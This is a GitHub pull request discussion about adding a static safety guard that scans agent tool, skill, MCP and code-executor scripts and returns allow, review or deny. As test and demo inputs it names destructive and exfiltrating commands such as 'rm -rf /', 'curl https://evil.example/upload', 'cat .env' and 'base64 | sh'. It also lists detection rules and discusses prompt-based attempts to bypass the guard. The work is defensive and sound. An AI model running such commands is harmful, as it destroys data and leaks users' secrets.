Repository navigation
feat: add tool script safety guard - #113
Conversation
Codecov Report❌ Patch coverage is
Additional details and impacted files@@ Coverage Diff @@
## main #113 +/- ##
==========================================
Coverage ? 88.43489%
==========================================
Files ? 491
Lines ? 46035
Branches ? 0
==========================================
Hits ? 40711
Misses ? 5324
Partials ? 0 ☔ View full report in Codecov by Harness. 🚀 New features to boost your workflow:
|
|
CLA Assistant Lite bot All contributors have signed the CLA ✍️ ✅ |
ccf18ad to
8bc9647
Compare
|
I have read the CLA Document and I hereby sign the CLA |
8bc9647 to
343a75c
Compare
|
麻烦加一下设计文档,给出请求处理流程,当遇到不同程度的命令对应处理的结果 |
感谢 您的review,已补充设计文档:examples/tool_safety/DESIGN.md。 文档中补充了请求进入 Safety Guard 后的完整处理流程、finding 聚合为 allow / 另外补充了三类完整 JSON response 示例,分别覆盖 allow、needs_human_review 和 |
e96482d to
d62c193
Compare
|
|
||
| ## 设计目标 | ||
|
|
||
| Tool、Skill、MCP Tool 和 CodeExecutor 都可能执行脚本、shell 命令、外部进程或网络请求。Safety Guard 的目标是在真实执行前完成静态扫描和策略判断,把明显危险的请求拦截在执行边界外,并为不确定请求提供人工复核、审计和 telemetry 信息。 |
There was a problem hiding this comment.
是否可以补充真正模型执行的例子?例如:构建一个真正的agent,让它跑这些Tool、Skill、MCP Tool 和 CodeExecutor。看看遇到不同级别的危险命令是怎么处理的
There was a problem hiding this comment.
感谢您的建议! 已补充如下:
新增了 examples/tool_safety/real_agent_demo/,构建了真实的 LlmAgent + Runner,
挂载了 BashTool、Skill(skill_run)、本地 stdio MCPTool 和 UnsafeLocalCodeExecutor
四条执行路径,每条路径各覆盖 allow / needs_human_review / deny 三种决策场景。
具体场景如下:
- tool_deny:rm -rf / → deny,执行前被拦截
- code_review:subprocess.run → needs_human_review,可选 --block-on-review 阻断
- skill_deny:cat .env → deny
- mcp_deny:curl https://evil.example/upload → deny,在 MCP call 前被拦截
CI 使用 fake model 走同一套接线(tests/tools/safety/test_real_agent_demo.py),
不依赖真实凭据即可验证全矩阵。真实模型(gpt-5.4)的运行输出已固化在
examples/tool_safety/real_agent_demo/REAL_MODEL_OUTPUT.md,可直接查看效果。
| return cls( | ||
| allowed_domains=[], | ||
| allowed_commands=["cat", "echo", "grep", "head", "ls", "pwd", "tail", "wc"], | ||
| denied_paths=[ |
There was a problem hiding this comment.
这里的危险命令感觉过于少了,是否可以考虑更多的?
There was a problem hiding this comment.
感谢您的 review,这里确实容易引起误解:
这里的 allowed_commands 是命令白名单(即允许执行的安全命令),不是危险命令列表,
所以它的条数少是预期行为——默认只允许 cat/echo/grep/head/ls/pwd/tail/wc 这些只读无害的命令。
危险命令的检测规则集中在 trpc_agent_sdk/tools/safety/_rules.py,覆盖了:
- rm -rf / find -delete / xargs rm(危险删除)
- sudo / chmod 777 / chown root(提权)
- curl/wget/requests/socket 访问非白名单域名(网络外连)
- pip install / npm install / apt-get install(依赖安装)
- fork bomb / while true / 长 sleep(资源滥用)
- token/secret/password 敏感变量输出或外传(信息泄漏)
- base64 decode | sh / python3 -c / bash -c(内联解释器执行)
README"规则体系"节有完整的规则索引,可以对照确认覆盖范围。
| from ._types import max_risk_level | ||
|
|
||
|
|
||
| class ToolScriptSafetyScanner: |
There was a problem hiding this comment.
常见的危险命令:rm sudo token等规则是在哪
There was a problem hiding this comment.
感谢您的 review,文件组织上确实存在可发现性不足,已在 README中补充了明确的指引。规则实际都存在:
这些规则都存在,是在 _rules.py 而不是 _scanner.py 里:
- rm -rf → _rules.py BASH_RECURSIVE_DELETE(基于正则匹配 rm -rf / rm -fr)
- sudo / chmod 777 / chown root → BASH_PRIVILEGE_ESCALATION
- token/secret/password → SENSITIVE_NAME_RE 模式 + SENSITIVE_OUTPUT规则,覆盖"敏感变量被
echo/curl/print/logging 输出或外传"的场景
_scanner.py 的职责是语言分发、执行上下文检查、聚合结果并生成最终决策,具体规则实现全部在 _rules.py(scan_bash_script / scan_python_script)。README"规则体系"节也明确指向了这一文件,便于后续查阅和扩展。
|
|
||
|
|
||
| @dataclass | ||
| class ToolSafetyPolicy: |
There was a problem hiding this comment.
感谢您提出这个宝贵的问题,用户自定义策略是一个很重要的使用场景。已支持两个维度:
-
YAML 策略配置(无需改代码):ToolSafetyPolicy.from_file() / from_dict() 允许
通过 YAML 文件定制白名单域名、允许命令、禁止路径、超时限制、是否拦截依赖安装/提权等所有字段。
示例见 examples/tool_safety/tool_safety_policy.yaml。 -
自定义规则回调:ToolScriptSafetyScanner 支持 custom_rules 参数和 register_rule() 方法,
类型签名为 SafetyRule = Callable[[ToolScriptScanRequest, ToolSafetyPolicy], Iterable[RiskFinding]]。
用户可以在内置规则基础上追加任意业务语义的检测逻辑,自定义规则的结果会和内置规则一起
参与最终的 decision 聚合。
示例:
def my_rule(req, policy):
if "internal_api" in req.script:
yield RiskFinding(rule_id="MY_CUSTOM_RULE", ...)
scanner = ToolScriptSafetyScanner(custom_rules=[my_rule])
There was a problem hiding this comment.
感谢您的 review 和建议,已在本次提交中补充:
-
trpc_agent_sdk/tools/safety/_policy.py
- 在 ToolSafetyPolicy docstring 中补充了 from_file(..., strict=True) 和 from_dict(..., strict=True) 的使用示例。
-
examples/tool_safety/README.md
- 新增“自定义策略和规则示例”说明,覆盖 YAML 策略、dict 策略、自定义规则注册、register_rule() 等使用方式。
-
examples/tool_safety/custom_policy_example.py
- 新增完整可运行示例,演示:
- 从 YAML 加载策略
- 从 dict 创建策略
- 构造 scanner 时传入 custom_rules
- 通过 scanner.register_rule(...) 追加自定义规则
- 扫描 allow / deny / custom rule / prompt bypass attempt 等场景
- 新增完整可运行示例,演示:
-
tests/tools/safety/test_examples.py
- 增加测试确保该示例脚本可以被正常加载和运行。
| @@ -0,0 +1,765 @@ | |||
| # Tool Script Safety Guard | |||
|
|
|||
There was a problem hiding this comment.
这里可以写一下使用方式,给出运行的例子,我这边测试可以浮现一下效果
There was a problem hiding this comment.
感谢您的反馈,已在 README 中补充完整的示例章节:
-
CLI 扫描单个脚本(bash/python 均有示例命令):
python3 scripts/tool_safety_check.py
--script examples/tool_safety/samples/bash_pipe.sh
--language bash
--policy examples/tool_safety/tool_safety_policy.yaml
--tool-name example_bash_tool -
真实模型 + Agent 执行链路示例:
cd examples/tool_safety/real_agent_demo
python3 run_agent.py --case tool_deny # 输出 decision=deny blocked=True
python3 run_agent.py --case code_review # 输出 decision=needs_human_review
python3 run_agent.py --case mcp_deny # 输出 decision=deny
已在 examples/tool_safety/real_agent_demo/REAL_MODEL_OUTPUT.md 中固化了一份
真实模型(gpt-5.4)的完整运行输出,可直接对照查看 allow/review/deny 三种情况的效果,
无需配置 API Key。
- Add real agent demo (Tool/Skill/MCP Tool/CodeExecutor) with allow/review/deny scenarios - Add register_rule() and custom_rules support to ToolScriptSafetyScanner - Expand dangerous command coverage in _rules.py and _policy.py - Add quick-start usage examples and running instructions to README - Update tests to cover new policy fields and custom rule registration
|
|
||
|
|
||
| @dataclass | ||
| class ToolSafetyPolicy: |
|
是否考虑过一种场景,如果用户在提示词中明确要求绕过危险命令,是否可以真正绕过? |
感谢您的 review,这个场景非常重要,尤其是在 Agent 根据用户提示词生成工具调用时,必须保证安全策略不能被 prompt 注入绕过。 当前实现不会被用户提示词绕过。Safety Guard 是在工具执行前由宿主代码加载 ToolSafetyPolicy 并执行静态扫描,策略来源是可信宿主代码配置或注册的 custom_rules,不会接受用户提示词、LLM 输出或 tool metadata 中类似 bypass_safety / “忽略安全策略” 的内容作为授权。 本次已补充对应示例和测试:
|
| @@ -0,0 +1,129 @@ | |||
| #!/usr/bin/env python3 | |||
There was a problem hiding this comment.
我看这里的脚本目录是测试tool的,这个应该放在examplse/tool_safety目录下,对于主仓目录的scripts主要用于整个项目的,而不是某个模块,建议把这个目录scripts移动到xamplse/tool_safety,然后顺便修改一下readme文档
There was a problem hiding this comment.
感谢您的 review 和建议,已将模块级工具安全脚本从主仓库 scripts/ 移动到 examples/tool_safety/:
- examples/tool_safety/tool_safety_check.py
- examples/tool_safety/tool_safety_manifest_report.py
同时已同步更新 examples/tool_safety/README.md 中的文件路径、运行命令和目录结构说明。主仓库 scripts/ 目录中不再保留这些工具安全模块相关脚本。
|
这边提几个建议: 这些如果有问题不清楚的可以邮件联系 |
感谢您的 review 和详细建议,目前已根据这三点完成调整,以下是针对您提出的三点建议的依次回复: 1. 关于脚本目录 已将模块级工具安全脚本从主仓库 scripts/ 移动到 examples/tool_safety/:
同时已同步更新 examples/tool_safety/README.md 中的文件路径、运行命令和目录结构说明,主仓库 scripts/ 目录中不再保留这些工具安全模块相关脚本。 2. 关于 real_agent_demo 目录和文档 已将 examples/tool_safety/real_agent_demo/ 扁平化为 examples/tool_safety/。相关 Agent、Skill、MCP Server、运行脚本和真实模型输出均已移动到 examples/tool_safety/ 下,并同步修改了 DESIGN.md、README.md 及相关测试中的路径引用。 另外,已在以下中英文文档中新增 Tool Safety Checks 章节:
章节中简要介绍了 Tool Safety Guard 的扫描、决策和拦截能力,并分别链接到:
方便用户进一步查看详细使用方式和设计流程。 3. 关于边界样例、测试和危险命令 已将原 examples/tool_safety/samples/ 下的 40 个边界样例移动到: tests/tools/safety/samples/ 同时补充了 manifest 驱动的测试校验,验证:
这些样例只作为 scanner 的输入 fixture,不会直接执行样例脚本。对于 rm -rf / 等危险命令:
目前 tests/tools/safety 已全部通过,manifest 中 40 个样例的 decision 和 required rule ids 也全部匹配。 |
| # | ||
| # tRPC-Agent-Python is licensed under Apache-2.0. | ||
| """Examples for custom Tool Script Safety Guard policies and rules.""" | ||
|
|
There was a problem hiding this comment.
这里可能更希望在agent/tools中定义注册示例规则的函数,然后调用这个函数就可以把示例规则注册到agent生效,这样用户使用起来就知道怎么让自定义的规则在agent中生效
There was a problem hiding this comment.
感谢您的 review 和建议,已按建议调整。
已将示例自定义规则和注册入口移动到 examples/tool_safety/agent/tools.py,新增 register_demo_safety_rules(scanner) 函数,并在 create_safety_scanner() 中调用,使示例规则会随 agent 使用的 scanner 初始化一起注册并生效。
同时 examples/tool_safety/custom_policy_example.py 已改为调用 register_demo_safety_rules(scanner),这样用户可以更清楚地看到如何在 agent 中注册并启用自定义规则。
相关示例和测试已验证通过。
| @@ -0,0 +1,169 @@ | |||
| #!/usr/bin/env python3 | |||
| # Tencent is pleased to support the open source community by making tRPC-Agent-Python available. | |||
There was a problem hiding this comment.
这个文件和tool_safety_check.py文件,这两个文件是否可以放在tests目录下?最好example和tests不要共用文件,这两个是不同形式的测试,可以把这两个文件放在tests/tools/safety下,然后构建一个单测代码去执行这两个文件,检测它执行结果文件内容是否和预期的一样,进行asset,这样可能更好一些
There was a problem hiding this comment.
感谢您的 review 和建议,已按建议调整。
已将这两个测试辅助脚本从 examples/tool_safety/ 移动到 tests/tools/safety/:
- tests/tools/safety/tool_safety_check.py
- tests/tools/safety/tool_safety_manifest_report.py
同时更新了 examples/tool_safety/README.md 中相关路径和运行命令,避免 example 和 tests 共用测试脚本。
另外在 tests/tools/safety/test_cli.py 中新增了单测,通过 subprocess 实际执行这两个脚本,并断言生成的结果文件内容符合预期,包括危险脚本扫描结果、manifest汇总结果、critical category checks、passed=true 和空 mismatches。
相关测试已验证通过。
| Full-matrix refresh command: | ||
|
|
||
| ```bash | ||
| python run_agent.py |
There was a problem hiding this comment.
我执行这个例子直接报错了
(venv) cd examples/tool_safety/
(venv) python3 run_agent.py
trpc-agent-python/venv/lib64/python3.12/site-packages/langgraph/checkpoint/base/init.py:18: LangChainPendingDeprecationWarning: The default value of allowed_objects will change in a future version. Pass an explicit value (e.g., allowed_objects='messages' or allowed_objects='core') to suppress this warning.
from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer
=== tool_allow ===
User: Use the Bash tool to run exactly this command: echo allow
trpc-agent-python/venv/bin/python3: error while loading shared libraries: libpython3.12.so.1.0: cannot open shared object file: No such file or directory
[2026-07-31 10:52:46][ERROR][trpc_agent_sdk][trpc_agent_sdk/tools/mcp_tool/_mcp_session_manager.py:302][3445015] Error creating session: stdio_session mcp_info: server_params=StdioServerParameters(command='trpc-agent-python/venv/bin/python3', args=['trpc-agent-python/examples/tool_safety/mcp_server.py'], env=None, cwd=None, encoding='utf-8', encoding_error_handler='strict') timeout=5.0 error: Cancelled via cancel scope 7f6421883a70
[2026-07-31 10:52:46][ERROR][trpc_agent_sdk][trpc_agent_sdk/agents/core/_tools_processor.py:101][3445015] Error processing tools: unhandled errors in a TaskGroup (1 sub-exception)
- Exception Group Traceback (most recent call last):
| File "trpc-agent-python/trpc_agent_sdk/agents/core/_tools_processor.py", line 87, in process_llm_request
| resolved_tools = await convert_toolunion_to_tool_list(self.tools, context)
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
| File "/trpc_group/trpc-agent-python/trpc_agent_sdk/tools/_tool_adapter.py", line 104, in convert_toolunion_to_tool_list
| new_tools.extend(await toolset.get_tools(invocation_context))
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
| File "trpc-agent-python/trpc_agent_sdk/tools/utils/_tool_utils.py", line 37, in wrapper
| return await func(self, *args, **kwargs)
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
| File "trpc-agent-python/trpc_agent_sdk/tools/mcp_tool/_mcp_toolset.py", line 254, in get_tools
| session = await self._mcp_session_manager.create_session()
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
| File "trpc-agent-python/trpc_agent_sdk/tools/mcp_tool/_mcp_session_manager.py", line 304, in create_session
| await exit_stack.aclose()
| File "/usr/local/Python312/lib64/python3.12/contextlib.py", line 696, in aclose
| await self.aexit(None, None, None)
| File "/usr/local/Python312/lib64/python3.12/contextlib.py", line 754, in aexit
| raise exc_details[1]
| File "/usr/local/Python312/lib64/python3.12/contextlib.py", line 737, in aexit
| cb_suppress = await cb(*exc_details)
| ^^^^^^^^^^^^^^^^^^^^^^
| File "/usr/local/Python312/lib64/python3.12/contextlib.py", line 217, in aexit
| await anext(self.gen)
| File "trpc-agent-python/venv/lib64/python3.12/site-packages/mcp/client/stdio/init.py", line 183, in stdio_client
| anyio.create_task_group() as tg,
| ^^^^^^^^^^^^^^^^^^^^^^^^^
| File "trpc-agent-python/venv/lib64/python3.12/site-packages/anyio/_backends/_asyncio.py", line 815, in aexit
| raise BaseExceptionGroup(
| ExceptionGroup: unhandled errors in a TaskGroup (1 sub-exception)
There was a problem hiding this comment.
感谢您的review,问题已修复并验证。该问题是 MCP stdio 子进程默认不会完整继承环境变量,导致依赖 LD_LIBRARY_PATH 的 Python 3.12 venv 在启动mcp_server.py 时找不到 libpython3.12.so.1.0。
现在示例已改为使用绝对 python 路径、绝对 mcp_server.py 路径,并最小化透传 LD_LIBRARY_PATH / DYLD_LIBRARY_PATH。
我已在 Linux Docker 中按相同方式验证:
cd examples/tool_safety/
python3 run_agent.py
完整默认矩阵执行成功,未再出现 libpython3.12.so.1.0、Error creating session: stdio_session 或 Cancelled via cancel scope。
概述
Resolves #90
本次实现了Tool Script Safety Guard,用于在 Tool / Skill / MCP Tool /
CodeExecutor 执行脚本或命令前进行安全扫描、策略判断、拦截和审计。
主要能力:
allow/deny/needs_human_review三类决策decision、risk_level、rule_id、evidence、recommendationtool.safety.*attributesBashTool和UnsafeLocalCodeExecutor提供 opt-in 接入,不改变默认历史行为
风险覆盖
已覆盖的风险类型:
.env、~/.ssh、凭据文件访问等curl、wget、requests、aiohttp、socket、非白名单域名访问等
subprocess、os.system、shell 管道、命令替换、后台进程、提权命令等
pip install、python -m pip install、npm install、apt install等额外补充的高价值场景:
base64 | shpython -cbash -c/sh -c.env/~/.ssh路径curl --data-binary @.envfind -deletexargs rm -rfos.getenv("API_TOKEN")外传兼容性
核心执行链路接入采用 opt-in 方式,避免破坏现有默认行为。
BashTool和UnsafeLocalCodeExecutor默认保持原有执行逻辑。用户可以通过参数enable_safety_guard=True显式启用安全扫描。启用后:
deny会在执行前阻断脚本或命令needs_human_review默认只记录到safety_report、audit 和 telemetry,不阻断执行
block_on_review=Trueallow会继续执行验收映射
trpc_agent_sdk/tools/safety/_rules.py、_scanner.pytrpc_agent_sdk/tools/safety/_policy.py、examples/ tool_safety/tool_safety_policy.yamlallow、deny、needs_human_reviewtrpc_agent_sdk/tools/safety/_filter.py、_wrapper.pytrpc_agent_sdk/tools/file_tools/_bash_tool.py、trpc_agent_sdk/code_executors/local/_unsafe_local_code_executor.pydecision、risk_level、rule_id、risk_type、evidence、recommendationtrpc_agent_sdk/tools/safety/_audit.py、_telemetry.pyscripts/tool_safety_check.pyscripts/tool_safety_manifest_report.pyexamples/tool_safety/samples/manifest.yaml、examples/ tool_safety/all_reports.jsonexamples/tool_safety/README.md样例校验
样例语料由 manifest 驱动:
examples/tool_safety/samples/manifest.yamlexamples/tool_safety/all_reports.jsonscripts/tool_safety_manifest_report.py当前 manifest 状态:
验证
已通过相关测试和校验:
当前结果:
tests/tools/safety:82 passedflake8通过yapf --diff无格式 diff_policy.py和_rules.pypatch coverage 缺失分支测试也验证了单文件 CLI 扫描:
结果:
deny,命中BASH_RECURSIVE_DELETE。文档
新增 examples/tool_safety/README.md,说明: